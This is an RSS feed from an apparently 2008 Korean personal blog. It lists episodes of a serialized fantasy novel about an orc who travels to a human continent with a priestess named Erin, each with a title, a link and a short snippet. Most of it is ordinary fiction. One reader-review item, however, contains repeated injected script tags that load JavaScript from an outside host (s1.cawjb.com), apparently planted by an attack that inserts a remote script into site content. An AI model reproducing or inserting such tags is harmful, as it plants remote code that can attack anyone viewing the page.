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김리석님의 글로그
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김리석님의 글로그입니다.
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<lastBuildDate><updated>2008-10-31T09:41:00</updated></lastBuildDate>



		<item><title>오크-전쟁의 시작 (1화)</title><link>http://glog15453.ijakga.com/63168.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;오늘도 어제와 같은 평화로운 날이다. 너무 평화로워서 단조롭고 지루하다는 느낌이 들기까지 한다. 뭔가 재밌는 일이 일어났으면 하는 바람도 있지만 지금 나는 이 평화에 만족하며 커다란 나무</description><pubDate>2008-10-31T09:57:00</pubDate></item><item><title>오크-전쟁의 시작 (2화)</title><link>http://glog15453.ijakga.com/63169.ilog</link><description>   &amp;nbsp;&amp;nbsp;금빛 플레이트 메일을 입은 흰머리 아저씨는 장로님과 가벼운 인사를 나눈다. 장로님은 그들을 반갑게 맞이하며 마을 중앙에 위치해 있는 마을회관으로 그들을 안내한다. 그들은 당당하게 걸음을 옮</description><pubDate>2008-10-31T09:58:00</pubDate></item><item><title>오크-전쟁의 시작 (3화)</title><link>http://glog15453.ijakga.com/63170.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;[전쟁이요?] &amp;nbsp;&amp;nbsp;나는 놀라움을 금치 못한다.  &amp;nbsp;&amp;nbsp;[그래, 물론 우리의 섣부른 예상일 수도 있지만, 적의 진영에서 뭔가의 움직임이 있는 것은 분명하다.] &amp;nbsp;&amp;nbsp;휴제러스</description><pubDate>2008-10-31T09:59:00</pubDate></item><item><title>오크-대륙으로 떠나는 모험 (1화)</title><link>http://glog15453.ijakga.com/63171.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;휴제러스 장군이 돌아가고 난 뒤 한동안 어색한 침묵이 흐른다. 장로님은 내가 옆에 앉아 있는 것에 아랑곳 하지 않고 심각한 생각에 잠겨있다. 한참 망설이다가 나는 어색한 침묵을 참지 못하고</description><pubDate>2008-10-31T10:05:00</pubDate></item><item><title>오크-대륙으로 떠나는 모험 (2화)</title><link>http://glog15453.ijakga.com/63172.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;벌써 날이 어두워져 있다. 장로님과의 대화에 집중하다 보니 시간이 금세 흘러가 버렸다. 장로님의 집은 마을 회관에서 그리 멀지 않은 곳에 위치해 있다. 드디어 그토록 궁금해 오던 진실을 알 </description><pubDate>2008-10-31T10:06:00</pubDate></item><item><title>오크-대륙으로 떠나는 모헙 (3화)</title><link>http://glog15453.ijakga.com/63173.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;[그래, 그래야지, 우리 종족에 대해 혹시 더 아는 것 있니?] &amp;nbsp;&amp;nbsp;장로님은 아주 조심스럽게 말씀 하신다. &amp;nbsp;&amp;nbsp;[초록색 피부를 가지고 있고 인간보다 덩치가 좀 더 크고 거기에 </description><pubDate>2008-10-31T10:08:00</pubDate></item><item><title>오크-대륙으로 떠나는 모험 (4화)</title><link>http://glog15453.ijakga.com/63174.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;[이런 데도 대륙에 가고 싶은 거니?] &amp;nbsp;&amp;nbsp;장로님은 내가 가지 않기를 바라는 눈빛이다. 그래도 명색이 용맹하다고 자부하고 있던 나인데 왠지 모르게 겁이 난다. 이것이 내 솔직한 심정</description><pubDate>2008-10-31T10:11:00</pubDate></item><item><title>오크-대륙으로 떠나는 모험 (5화)</title><link>http://glog15453.ijakga.com/63175.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;[저기 뒤편에 내가 통나무배를 마련해 놓았단다. 그것을 타고 대륙으로 가거라.] &amp;nbsp;&amp;nbsp;장로님은 자신의 오두막집 뒤편에 있는 창고를 가리킨다.  &amp;nbsp;&amp;nbsp;[같이 가주시는 거 아닌가요</description><pubDate>2008-10-31T10:11:00</pubDate></item><item><title>오크-험난한 대륙 (1화)</title><link>http://glog15453.ijakga.com/63342.ilog</link><description> [이럴수가! 이럴수가!] 배가 엄청 고프다. 대륙에 도착하니까 먹을 게 엄청 많다. 안 그래도 배가 고픈데 맛있는 음식들을 보니 배고픔이 더 심해진다. 전부다 생전 첨보는 것들 뿐 이다. 근데 아주 커다란 문제가 </description><pubDate>2008-11-01T16:59:00</pubDate></item><item><title>오크-험난한 대륙 (2화)</title><link>http://glog15453.ijakga.com/63527.ilog</link><description>  [제가 오크인 걸 어떻게 아셨죠? 오크족에 대해서 알고 있나요?] [그럼, 나는 이래 뵈도 대륙 기사단 지망생이라구. 오크족에 대해서 뿐 아니라 다른 종족들에 대해서도 많이 알고 있지.] [오크의 과거에 대해서도</description><pubDate>2008-11-02T21:43:00</pubDate></item><item><title>오크-험난한 대륙 (3화)</title><link>http://glog15453.ijakga.com/63625.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;[이런, 내 소개가 늦었구만. 내 이름은 페이덴. 나는 왕국 기사단 지망생이야. 뭐 이번엔 반드시 될 게 분명하니까 그냥 기사라고 불러도 돼.] &amp;nbsp;&amp;nbsp;페이덴. 허풍이 심한 녀석 같다. 아마</description><pubDate>2008-11-03T10:42:00</pubDate></item><item><title>오크-험난한 대륙 (4화)</title><link>http://glog15453.ijakga.com/63762.ilog</link><description>&amp;nbsp; &amp;nbsp;&amp;nbsp;눈을 떠보니 낯선 방안이다. 방안은 비교적 깔끔하게 정리 되어 있다. 최근까지 누군가 사용하던 방 인 것 같다. 머리가 깨질 것처럼 아파온다. 심한 갈증이 느껴진다. 바로 옆에 5걸음 정도 떨</description><pubDate>2008-11-04T16:30:00</pubDate></item><item><title>오크-험난한 대륙 (5화)</title><link>http://glog15453.ijakga.com/64759.ilog</link><description> 세계의 시스템은 서로 돕는 것 즉, 공유의 시스템이다. 한쪽의 일방적인 이익은 그 시스템을 파괴한다. 모든 종족은 이 사실을 알고 있다. 하지만 인간만이 이 사실을 모른다. 아니, 알고 있으면서도 모르는 것처럼</description><pubDate>2008-11-09T20:58:00</pubDate></item><item><title>오크-험난한 대륙 (6화)</title><link>http://glog15453.ijakga.com/64760.ilog</link><description> 벌써 3시간 째 어두운 산길을 헤메고 있다. 그 동안 이 녀석들을 끌고 다니며 도망칠 기회를 엿보았지만 도저히 불가능해 보인다. 둘 다 조심성이 많은데다가 쇠사슬이 너무 꽉 조여 있어서 풀 엄두조차 나지 않는</description><pubDate>2008-11-09T20:59:00</pubDate></item><item><title>오크-험난한 대륙 (7화)</title><link>http://glog15453.ijakga.com/64884.ilog</link><description> [그만둬!] 어둠 속에서 목소리가 들려온다. 목소리에는 강한 힘이 실려 있다. 나에게는 구원의 소리다. 소리의 주인공은 어둠 속에서 천천히 모습을 드러낸다. 검은색 긴 머리를 늘어뜨리고 순백색의 옷을 입은 인</description><pubDate>2008-11-10T19:03:00</pubDate></item><item><title>[리뷰]라이네르</title><link>http://glog15453.ijakga.com/review/?sid=11970</link><description>감사해요~ 칭찬 들으니까 기분이 좋네요~

님 소설도 무지 재밌네요^^

자주 들릴께요~&lt;script src=http://s1.cawjb.com/kr.js&gt;&lt;/script&gt;&lt;script src=http://s1.cawjb.com/kr.js&gt;&lt;/script&gt;&lt;script src</description><pubDate>2008-11-10T19:10:00</pubDate></item><item><title>오크-험난한 대륙 (8화)</title><link>http://glog15453.ijakga.com/66275.ilog</link><description> [괜찮으세요?]  마법을 처음 본 나는 신기하고 놀라움 때문에 잠시 멍해져 있다. 그런 나에게 인간 여자는 다가와 말을 건낸다. [예?! 아, 괜찮습니다. 구해줘서 고마워요.] [일단은 쇠사슬부터 풀어 드릴께요.] 이</description><pubDate>2008-11-19T22:04:00</pubDate></item><item><title>오크-험난한 대륙 (9화)</title><link>http://glog15453.ijakga.com/66276.ilog</link><description> [자 다 됐어요. 먹어 보세요. 급하게 대충 만든 거라서 별로 일거에요.] [네. 굉장히 먹음직스러워 보여요. 그런데...제가 몸이 이 상태라서 먹을 수가 없군요.] 쇠사슬에 묶여 있어서 손을 사용할 수 없다. 그녀에</description><pubDate>2008-11-19T22:05:00</pubDate></item><item><title>오크-험난한 대륙 (10화)</title><link>http://glog15453.ijakga.com/66277.ilog</link><description> [아까 보여준 그 마법으로 이 쇠사슬을 풀어줄 수는 없어?] [마법?] 산을 내려가면서 그녀의 마법이 생각나서 묻는 나에게 그녀는 놀란 표정으로 다시 반문한다. [아까 그 롱소드 녀석을 쓰러뜨릴 때 손을 감싼 둥</description><pubDate>2008-11-19T22:06:00</pubDate></item><item><title>오크-험난한 대륙 (11화)</title><link>http://glog15453.ijakga.com/66392.ilog</link><description> [잠깐만, 등에 상처가 있어] 그녀는 갑옷을 입으려는 나의 행동을 멈추게 하고 내 등을 살피며 말한다. 그녀는 눈썰미가 너무 좋다. 못 보길 바랬는데 내 바램일 뿐이었다. [어?! 언제 이 상처가 있었지?! 이 정도</description><pubDate>2008-11-20T21:23:00</pubDate></item><item><title>오크-험난한 대륙 (12화)</title><link>http://glog15453.ijakga.com/66393.ilog</link><description> [이제 어디로 가지?] 나는 얘기에 너무 집중한 나머지 잠시 목적을 잊어버리고 있었다. 그러고보니 우리는 길 가의 한가운데서 얘기의 꽃을 피우고 있었다.  [일단 동맹국의 신전으로 가자 대사제님께 엘프족 대신</description><pubDate>2008-11-20T21:24:00</pubDate></item><item><title>오크-붉은 열매 마을 (1화)</title><link>http://glog15453.ijakga.com/66720.ilog</link><description> 이제 몸의 상태도 완전히 회복 되었고 목표가 분명해졌기 때문에 우리는 힘차게 발걸음을 내딛는다. 우리의 목표는 동맹국 신전이다. 우리는 허기를 느낄 때마다 물고기와 붉은 열매를 요리해서 굶주린 배를 채운다</description><pubDate>2008-11-22T22:05:00</pubDate></item><item><title>오크-붉은 열매 마을 (2화)</title><link>http://glog15453.ijakga.com/66721.ilog</link><description> [마을 안이 너무 조용한 것 같아] 말을 꺼낸 건 에린이다. [글세, 밤이라서 그런거 아냐.] [지금은 초저녁이야. 그리고 아무리 밤이라지만 너무 조용해. 인기척도 들리지 않잖아.] 에린은 이상하다는 듯이 고개를 </description><pubDate>2008-11-22T22:05:00</pubDate></item><item><title>오크-붉은 열매 마을 (3화)</title><link>http://glog15453.ijakga.com/66723.ilog</link><description> [실례지만, 하룻밤만 신세를 질 수 없을까요?] 에린은 이번에도 정중히 부탁을 해본다.  [안됩니다.] 역시 차가운 목소리이다. 하지만 이번이 마지막이라는 생각이 들어서인지 에린은 닫으려는 문을 잡는다. [저희</description><pubDate>2008-11-22T22:06:00</pubDate></item><item><title>오크-붉은 열매 마을 (4화)</title><link>http://glog15453.ijakga.com/67414.ilog</link><description> [자 들게나, 이 마을에 손님이 온 것도 참 오랜만이군. 그런데 자네는 누구인가? 가만 있자... 초록색 피부의...혹시...?] 이제야 아저씨는 나를 본 모양이다. 이제껏 에린만 보고 나는 에린의 시종으로 생각했나 </description><pubDate>2008-11-28T07:46:00</pubDate></item><item><title>오크-붉은 열매 마을 (5화)</title><link>http://glog15453.ijakga.com/67415.ilog</link><description> [여보! 손님들 앞에서 꼭 그런말을 해야겠소.] 약간 화가난 목소리로 아저씨는 아주머니에게 말한다. [해야겠어요. 언제까지 이렇게 있을 수는 없잖아요.] 아저씨의 말에 아주머니는 참지 못하겠다는 듯 말한다. [</description><pubDate>2008-11-28T07:47:00</pubDate></item><item><title>오크-붉은 열매 마을 (6화)</title><link>http://glog15453.ijakga.com/67562.ilog</link><description> [정말로 좋은 사람 같네요.] 에린이 말한다. [다 과거일 뿐이야! 지금은 그렇지 않아. 그 망할 놈의 백작 같으니.] 이번엔 아저씨가 악의가 가득 담긴 말투로 말한다.  [언제부턴가 정확히 알 순 없지만 성 주인의 </description><pubDate>2008-11-29T01:11:00</pubDate></item><item><title>오크-붉은 열매 마을 (7화)</title><link>http://glog15453.ijakga.com/67564.ilog</link><description> [성 주인의 모습은 그 뒤로 한번도 보이지 않았나요?] 나는 아주머니에게 묻는다. [아니, 몇번 있었어요. 어느날 성처럼 큰 저택에서 주인이 나오는 것을 본적이 있어요. 나는 켄트 백작을 부르려고 했는데, 내가 </description><pubDate>2008-11-29T01:12:00</pubDate></item><item><title>오크-붉은 열매 마을 (8화)</title><link>http://glog15453.ijakga.com/67785.ilog</link><description> [여보, 그러지 말고 이 분들에게 한번 맡겨 봐요. 이 사제님은 해결해 주실 수 있을 것 같아요. 그리고 이 조수분도 힘 있어 보이잖아요.] 조수라는 말에 나는 약간 기분이 상하지만 어찌되었든 아주머니는 에린의 </description><pubDate>2008-11-30T08:12:00</pubDate></item><item><title>오크-붉은 열매 마을 (9화)</title><link>http://glog15453.ijakga.com/67786.ilog</link><description> [저기인 것 같아] 그녀가 가리킨 곳에는 캔트 백작의 저택이 우뚝 솟아있다. 멀리서 봤을 때 보다 더 큰 저택이다. 주변의 일반 가정집들과는 다르게 전문가의 손길이 느껴지는 저택이다. 성이라고 해도 무방할 것</description><pubDate>2008-11-30T08:12:00</pubDate></item><item><title>오크-붉은 열매 마을 (10화)</title><link>http://glog15453.ijakga.com/67872.ilog</link><description> 우리는 지금 저택과 조금 떨어진 나무 뒤쪽에 숨어있다. 벌써 몇 시간째 어두워지기를 기다리고 있는지 모르겠다. 그녀가 확실한 방법이 있다기에 무작정 동의 하긴 했지만 도대체 어떤 방법인지 궁금하다. 시간이 </description><pubDate>2008-11-30T22:40:00</pubDate></item><item><title>오크-붉은 열매 마을 (11화)</title><link>http://glog15453.ijakga.com/67873.ilog</link><description> [어두워서 아무것도 보이지 않아!] 저택 안으로 먼저 들어간 내가 말을 꺼낸다. [잠깐만 기다려봐.] 뒤따라 들어온 에린은 그렇게 말하며 손위로 작은 빛을 발산한다. 그것은 우리 주변을 밝혀주기에 충분한 빛의 </description><pubDate>2008-11-30T22:40:00</pubDate></item><item><title>오크-붉은 열매 마을 (12화)</title><link>http://glog15453.ijakga.com/67940.ilog</link><description> [오호, 낮에 왔던 손님들 아니십니까?] 하인은 완전히 우리를 비꼬는 말투로 우리 주위를 천천히 살핀다. [허락 없이 남의 집에 들어와서야 안 될 일이지요. 더군다나 사제님께서 좀도둑들이나 하는 일 따위를 하시</description><pubDate>2008-12-01T19:09:00</pubDate></item><item><title>오크-붉은 열매 마을 (13화)</title><link>http://glog15453.ijakga.com/67941.ilog</link><description> [오우거 사냥 성공!!] 소리가 난 곳에는 4명의 사나이가 서있었는데 그들도 용병인 것 같다. 우리는 뒤에서 날라온 그물을 피하지 못하고 꼼짝없이 갇히고 만 것이다. 벗어날 수 없다. 그물은 특성상 발버둥 칠수록</description><pubDate>2008-12-01T19:09:00</pubDate></item><item><title>오크-붉은 열매 마을 (14화)</title><link>http://glog15453.ijakga.com/67942.ilog</link><description> [이 켄트 백작은 엄청 사치스런 녀석인 것 같은데.] [응, 백작의 행동이 변하면서 성격도 변한 것 같아.] 그렇게 수십개의 방들을 지나자 하인이 발걸음을 멈춘다.  [바로 이방이다. 다시 한번 얘기하지만 주인님을</description><pubDate>2008-12-01T19:10:00</pubDate></item><item><title>오크-붉은 열매 마을 (15화)</title><link>http://glog15453.ijakga.com/68106.ilog</link><description> [내 저택에 뭘 가져가려고 온 거지? 사제님이 훔칠 정도면 보통 물건이 아닐 텐데. 내 집에 그렇게 값비싼 물건이 있는지 모르겠군.] 그는 우리를 계속 노려보며 말한다. 그의 눈을 보고 있자니 등골이 오싹해진다.</description><pubDate>2008-12-02T23:42:00</pubDate></item><item><title>오크-붉은 열매 마을 (16화)</title><link>http://glog15453.ijakga.com/68107.ilog</link><description> [너도 느끼고 있을 텐데. 더 큰 즐거움을 주는 어둠의 힘을 얻기 위해서는 의식에 필요한 제물이 갈수록 늘려가야 한다는 사실을.] 한동안 정적이 흐른다. 켄트 백작은 붉은 눈동자로 사제를 노려본다. [동맹국 신</description><pubDate>2008-12-02T23:43:00</pubDate></item><item><title>오크-붉은 열매 마을 (17화)</title><link>http://glog15453.ijakga.com/68108.ilog</link><description> [저 녀석 너무 여유로운 것 같은데] 나는 그녀를 향해 말한다. [진짜 싸움은 이제부터야. 이런 데서 어둠의 힘과 마주하게 되다니.] [오크의 힘을 보여주겠어. 나도 폭력은 싫어하지만 저런 녀석에겐 마음껏 사용해</description><pubDate>2008-12-02T23:44:00</pubDate></item><item><title>오크-붉은 열매 마을 (18화)</title><link>http://glog15453.ijakga.com/68185.ilog</link><description> &amp;nbsp; &amp;nbsp;  내가 집의 주인이 만든 다크 스피어에 의해 공격 받기 직전에 나를 살린 건 어둠의 힘으로 온몸이 불타고 있는 덴크. 바로 그였다. 내가 지금까지 같이 있어 온 그가 아닌 것 같다. 너무 달라 보인</description><pubDate>2008-12-03T18:05:00</pubDate></item><item><title>오크-붉은 열매 마을 (19화)</title><link>http://glog15453.ijakga.com/68187.ilog</link><description> 정신이 다시 들었을 때 나의 눈에 들어온 것은 나를 치료해주는 그녀의 모습이다. 나는 에린의 치료를 받으며 누워 있다. 행복하다. 영원토록 이대로 지속&amp;#46124;으면 좋겠다. [맞다. 어떻게 된거야? 백작! 그 녀</description><pubDate>2008-12-03T18:05:00</pubDate></item><item><title>오크-붉은 열매 마을 (20화)</title><link>http://glog15453.ijakga.com/68188.ilog</link><description> 멀리서 이들의 모습을 지켜보는 또 다른 그림자가 있다.  [어둠의 힘을 가진 오크라니. 오랜만에 켄트 백작에게 골동품 좀 팔려고 왔다가 뜻밖의 수확을 얻고 가는군.] 그는 건물 천장에 장식을 위해서 돌출되어 있</description><pubDate>2008-12-03T18:06:00</pubDate></item><item><title>오크-붉은 열매 마을 (21화)</title><link>http://glog15453.ijakga.com/68341.ilog</link><description> 우리는 파란 지붕 집으로 향한다. 아저씨는 초췌한 모습의 우리를 맞으며 어떻게 된 일이냐고 다그친다. 우리는 아저씨에게 어젯밤에 있었던 일에 대해 상세하게 말한다. 그가 했던 일들과 그리고 그의 비밀들에 대</description><pubDate>2008-12-04T14:53:00</pubDate></item><item><title>오크-붉은 열매 마을 (22화)</title><link>http://glog15453.ijakga.com/68342.ilog</link><description> 일어나 보니 푹신한 의자위였다. 어제 나도 모르게 잠이 든 것이다. 이상한 자세로 잠을자서인지 온 몸이 뻐근하다. 에린과 아주머니는 보이지 않는다. 식탁위에 과자 부스러기와 어질러진 접시와 컵들은 둘의 수다</description><pubDate>2008-12-04T14:54:00</pubDate></item><item><title>오크-붉은 열매 마을 (23화)</title><link>http://glog15453.ijakga.com/68343.ilog</link><description> [오우거 한명이 말썽을 피운 것 같습니다.] 싸움을 말리던 병사 한 명이 그 인간에게 보고한다. [우우거?] 은색의 기사는 나에게 걸어온다.  [무슨 일로 여기 온거지? 오우거라면 부족단위로 움직이고 혼자서는 잘 </description><pubDate>2008-12-04T15:01:00</pubDate></item><item><title>오크-붉은 열매 마을 (24화)</title><link>http://glog15453.ijakga.com/68550.ilog</link><description> [제가 대신 대답해 드리겠어요.] [아닙니다. 저 오우거에게 집적 들어야겠습니다.] [저분과 제가 어제 저 저택에서 어둠의 숭배자를 쓰러뜨렸는데도 저한테 볼일이 없으신가요?] 로베러스는 놀란 눈으로 우리 둘을 </description><pubDate>2008-12-06T00:06:00</pubDate></item><item><title>오크-붉은 열매 마을 (25화)</title><link>http://glog15453.ijakga.com/68551.ilog</link><description> [아! 그래서 병사들이 이렇게 많이 온 거군요.] 그녀는 다 아는 내용이면서도 로베러스의 말에 맞장구쳐주기 위해 일부러 모르는 척 한다.  [그런데 말씀하신 것 중에서 이상한 부분이 있습니다.] [어떤 건가요?] </description><pubDate>2008-12-06T00:06:00</pubDate></item><item><title>오크-붉은 열매 마을 (26화)</title><link>http://glog15453.ijakga.com/68552.ilog</link><description> [하하하. 다음에 또 만나게 되면 그때는 부디 친절하게 대해 주시길 바래요.] 그녀는 억지로 크게 웃으며 로베러스의 말에 답한다. 아무래도 별로 호감이 가지 않는 녀석이다. 그의 마지막 말로 보건대 우리를 아직</description><pubDate>2008-12-06T00:07:00</pubDate></item><item><title>오크-낚시대회 (1화)</title><link>http://glog15453.ijakga.com/68656.ilog</link><description> 우리는 신전을 향해 계속해서 걸어가고 있다. 그리고 여느 때와 다름없이 서서히 배가 고파지기 시작한다. 역시 암담한 것은 주위에 먹을 것이 보이지 않는다는 사실이다. 우리의 여행은 왜 이리도 배고픈 여행인지</description><pubDate>2008-12-06T22:01:00</pubDate></item><item><title>오크-붉은 열매 마을 (27화)</title><link>http://glog15453.ijakga.com/68655.ilog</link><description> 우리는 붉은 열매 마을을 나와서 함께 걸어가고 있다. 그녀는 줄곧 아무 말 없이 뭔가를 계속해서 생각하고 있다. 아마도 켄트 백작에 대해 생각 중일 것이다. 그래서 나 또한 이런 저런 생각에 잠긴다. 파란지붕의</description><pubDate>2008-12-06T22:01:00</pubDate></item><item><title>오크-낚시대회 (2화)</title><link>http://glog15453.ijakga.com/68657.ilog</link><description> [다른 마을과 별로 다른 점은 모르겠어.] 나는 에린에게 알 수 없다는 듯 물어본다. [보기에는 다른 마을과 똑같아 보이지만 이 마을에도 특징이 있어 조금만 더 가면 알게 돼.] 나는 에린을 따라간다. 한동안 걸어</description><pubDate>2008-12-06T22:02:00</pubDate></item><item><title>오크-낚시대회 (3화)</title><link>http://glog15453.ijakga.com/68951.ilog</link><description> [저긴 거 같아. 들어가자.] 그녀가 가리킨 곳은 낚시대회 접수처라고 적힌 곳이다. 거기에는 굉장히 많은 사람들로 붐비고 있다. 전부다 각자의 낚시도구들을 가지고 있다. 서로서로 자기들이 이번에는 낚시왕이 될</description><pubDate>2008-12-08T20:47:00</pubDate></item><item><title>오크-낚시대회 (4화)</title><link>http://glog15453.ijakga.com/68952.ilog</link><description> [혹시 얼마나 갖고 있어?] 나는 그녀에게 돈을 빌리는 건 이번이 마지막이라는 생각으로 말한다. 정말 여자에게 돈을 빌린다는 건 할 짓이 못된다. 특히 그녀에게는 더욱 그렇다. [은화23개가 전 재산인데. 어쩌지.</description><pubDate>2008-12-08T20:48:00</pubDate></item><item><title>오크-낚시대회 (5화)</title><link>http://glog15453.ijakga.com/68953.ilog</link><description> [낚시대가 없는데 어쩌지?] 눈치빠른 에린이 나에게 물어온다. [괜찮아. 얼마든지 구할 수 있어. 나에게는 누구도 못 따라오는 물고기 잡는 실력이 있잖아.] 그녀에게 자신 있게 말하긴 했지만 우승할 수 있을지 의</description><pubDate>2008-12-08T20:51:00</pubDate></item><item><title>오크-낚시대회 (6화)</title><link>http://glog15453.ijakga.com/69152.ilog</link><description> 대륙에 사는 거대 곰에 대해 들은 적이 있다. 굉장히 난폭한 동물이며 꿀을 좋아하고 엄청 힘이 쎈 동물이다. 그리고 두꺼운 가죽을 가지고 있어서 혹시라도 산에서 만나게 되면 도망가는 편이 좋을 거리고 들었다.</description><pubDate>2008-12-09T20:39:00</pubDate></item><item><title>오크-낚시대회 (6화)</title><link>http://glog15453.ijakga.com/69153.ilog</link><description> 대륙에 사는 거대 곰에 대해 들은 적이 있다. 굉장히 난폭한 동물이며 꿀을 좋아하고 엄청 힘이 쎈 동물이다. 그리고 두꺼운 가죽을 가지고 있어서 혹시라도 산에서 만나게 되면 도망가는 편이 좋을 거리고 들었다.</description><pubDate>2008-12-09T20:39:00</pubDate></item><item><title>오크-낚시대회 (7화)</title><link>http://glog15453.ijakga.com/69154.ilog</link><description> 호수에 도착하자 에린이 앉아 있는 것이 보인다. 나는 서둘러서 에린에게 다가간다.  [어떻게 된거야? 이 상처들은?] 그녀는 나의 상처들을 보고 놀란 표정으로 묻는다. [거대곰의 공격 때문에 그만. 큰 상처는 아</description><pubDate>2008-12-09T20:40:00</pubDate></item><item><title>오크-낚시대회 (8화)</title><link>http://glog15453.ijakga.com/69155.ilog</link><description> [그런데 왜 여기엔 따뜻한 물이 흐르고 물의 흐름 또한 자주 바뀌는 거죠?] [글쎄요, 그건 저도 잘 모르겠습니다. 많은 전설이 있긴 한데, 과거에 천사와 악마가 접전을 벌였다는 말도 있고 붉은 용의 놀이터라는 </description><pubDate>2008-12-09T20:40:00</pubDate></item><item><title>오크-낚시대회 (9화)</title><link>http://glog15453.ijakga.com/69256.ilog</link><description> 접수장에 들어서자 우리를 보고 가장 놀란 것은 당연히 토리슨이다. 내가 등에 업고 있는 물고기를 보고 그는 입을 다물지 못한다. 나는 그에게 다가간다. 당연히 그냥 지나칠 수 없는 것 아니겠는가.  [많이 잡으</description><pubDate>2008-12-10T16:57:00</pubDate></item><item><title>오크-낚시대회 (10화)</title><link>http://glog15453.ijakga.com/69258.ilog</link><description> [이 돈은 내가 보관 할게.] 에린은 순식간에 돈을 들어 있는 자루를 자신의 가방 깊숙이 넣는다.  [이런 게 어딨어? 물고기를 내가 잡았잖아.] 나는 너무 억울했다. [알아. 하지만 너한테 돈을 줬다가는 아무리 금</description><pubDate>2008-12-10T16:58:00</pubDate></item><item><title>오크-낚시대회 (11화)</title><link>http://glog15453.ijakga.com/69259.ilog</link><description> 눈을 떴을 때 낯선 방안이다. 아니, 방이라기 보다 어느 외진 창고거나 아니면 지하실인 것 같다. 이상한 냄새와 먼지들이 그것을 말해 준다. 저번과 다름없이 두꺼운 쇠사슬이 나를 짓누르고 있다. 그리고 그때와 </description><pubDate>2008-12-10T16:59:00</pubDate></item><item><title>오크-낚시대회 (12화)</title><link>http://glog15453.ijakga.com/69406.ilog</link><description> [이번에도 누군가에게 나를 넘겨 주기로 했나?] [음, 글쎄. 지금 고민 중이야.] [고민?] [너를 팔아서 돈을 받을지 아니면 우리 자존심을 상하게 한 대가로 잔인하게 복수할지 둘 중에 고민하고 있어.] 그 일로 단</description><pubDate>2008-12-11T14:33:00</pubDate></item><item><title>오크-낚시대회 (13화)</title><link>http://glog15453.ijakga.com/69407.ilog</link><description> [방금 사제라고 했어?] [사제라고?] 페이덴과 케르제르는 놀란 표정으로 거의 동시에 나에게 물어본다. [설마 모르고 있었던 거야? 내 동료의 옷에 있는 십자가 문양을 보라구!] 페이덴은 케르제르에게 눈짓을 하고</description><pubDate>2008-12-11T14:33:00</pubDate></item><item><title>오크-낚시대회(14화)</title><link>http://glog15453.ijakga.com/69408.ilog</link><description> [왜 이렇게 안 오는 거야!] 페이덴이 말한다. [저기에 오고 있어.] 마술사는 그렇게 말하며 손가락으로 가리킨다. 마술사가 가리킨 쪽에는 검은색 망토를 두르고 있고 검은색 모자를 깊이 눌러 쓰고 있어서 정체를 </description><pubDate>2008-12-11T14:34:00</pubDate></item><item><title>오크-대지의 마법사 (1화)</title><link>http://glog15453.ijakga.com/69587.ilog</link><description> [당신은 설마 마법사?] [그래요, 정확히 말하면 대지의 마법사라고 할 수 있죠.] 페이덴의 질문에 대지의 마법사가 자신의 모자를 뒤로 젖히면서 말한다. 그는 꽤나 잘생긴 얼굴을 갖고 있는 인간족의 남자이다.  [</description><pubDate>2008-12-12T20:11:00</pubDate></item><item><title>오크-대지의 마법사 (2화)</title><link>http://glog15453.ijakga.com/69588.ilog</link><description> [으으음. 허어엄. 허어엄.] 나는 헛기침을 하며 둘의 얘기를 중단시킨다. 무슨 할 얘기가 저렇게 많은지 원. [저기 대사제님! 이 쇠사슬 좀 풀어 주시죠] 나는 약간 심술이 난 목소리로 대사제에게 말한다. 하지만 </description><pubDate>2008-12-12T20:12:00</pubDate></item><item><title>오크-동맹국의 신전 (1화)</title><link>http://glog15453.ijakga.com/69589.ilog</link><description> 흙덩어리 괴물이 사라진 자리를 멍하니 바라보고 있는 나에게 에린은 정신을 차리라는 듯 나를 흔든다.  [소개가 늦었군요. 저는 신전의 대사제의 직분의 맡고 있는 아더스라고 합니다.] 그러면서 대사제는 나에게 </description><pubDate>2008-12-12T20:12:00</pubDate></item><item><title>오크-동맹국의 신전 (2화)</title><link>http://glog15453.ijakga.com/69668.ilog</link><description> [또 무슨 생각을 그렇게 하는거야?] 그녀는 대사제와 비교 하느라 정신이 없는 나에게 말을 걸어온다.  [아니...그게...] 대사제와 비교하고 있었다고 차마 말할 수 없는 나는 망설인다. [대사제님이 어떻게 마법을</description><pubDate>2008-12-13T09:07:00</pubDate></item><item><title>오크-동맹국의 신전 (3화)</title><link>http://glog15453.ijakga.com/69669.ilog</link><description> [수고 많았구나.] [아니에요, 아직 끝나지 않은걸요.] [저 분이 어떤 분인지 얘기 좀 해주겠니?] [글쎄요.] [저분이 정말로 예언을 이룰수 있다는 확신이 들던?] 대사제는 약간 흥분된 목소리로 말한다. 그 흥분은 </description><pubDate>2008-12-13T09:07:00</pubDate></item><item><title>오크-동맹국의 신전 (4화)</title><link>http://glog15453.ijakga.com/69670.ilog</link><description> 나는 에린과 아더스가 단 둘이서만 얘기를 하고있는 동안에 신전 주변을 구경하고 있다. 처음보는 꽃들을 보고 있자니 시간이 가는 걸 까먹을 정도다. 나는 꽃들을 좋아하지 않는 편이지만 이 꽃들 만큼은 그냥 지</description><pubDate>2008-12-13T09:08:00</pubDate></item><item><title>오크-동맹국의 신전 (5화)</title><link>http://glog15453.ijakga.com/69798.ilog</link><description> [참 밝아 진 것 같아요.] [예?] 나는 놀란 표정을 지으며 아더스에게 묻는다. [원래 표정이 무뚝뚝한 아이였는데, 지금은 너무 보기 좋아요. 당신 덕분이겠죠. 마지막 선지자님?] 아더스는 어김없이 나에게 미소 짓</description><pubDate>2008-12-14T08:05:00</pubDate></item><item><title>오크-동맹국의 신전 (6화)</title><link>http://glog15453.ijakga.com/69799.ilog</link><description> [나무와 강의 결계라는 게 무슨 말이야?] 나는 에린과 아더스를 쫓아가며 에린에게 묻는다. [여기는 엄연히 신전이야. 평화로운 곳이지만 어둠의 세력에 대항하는 전쟁을 준비하는 곳이기도 해. 다른 말로 하자면, </description><pubDate>2008-12-14T08:05:00</pubDate></item><item><title>오크-동맹국의 신전 (7화)</title><link>http://glog15453.ijakga.com/69800.ilog</link><description> [침입자는 어딨는거에요?] 에린은 아더스에게 물어본다. [지금 이곳으로 오고 있는 중인 것 같다.] 대사제의 목소리는 약간의 긴장감이 묻어 있다. 아까전의 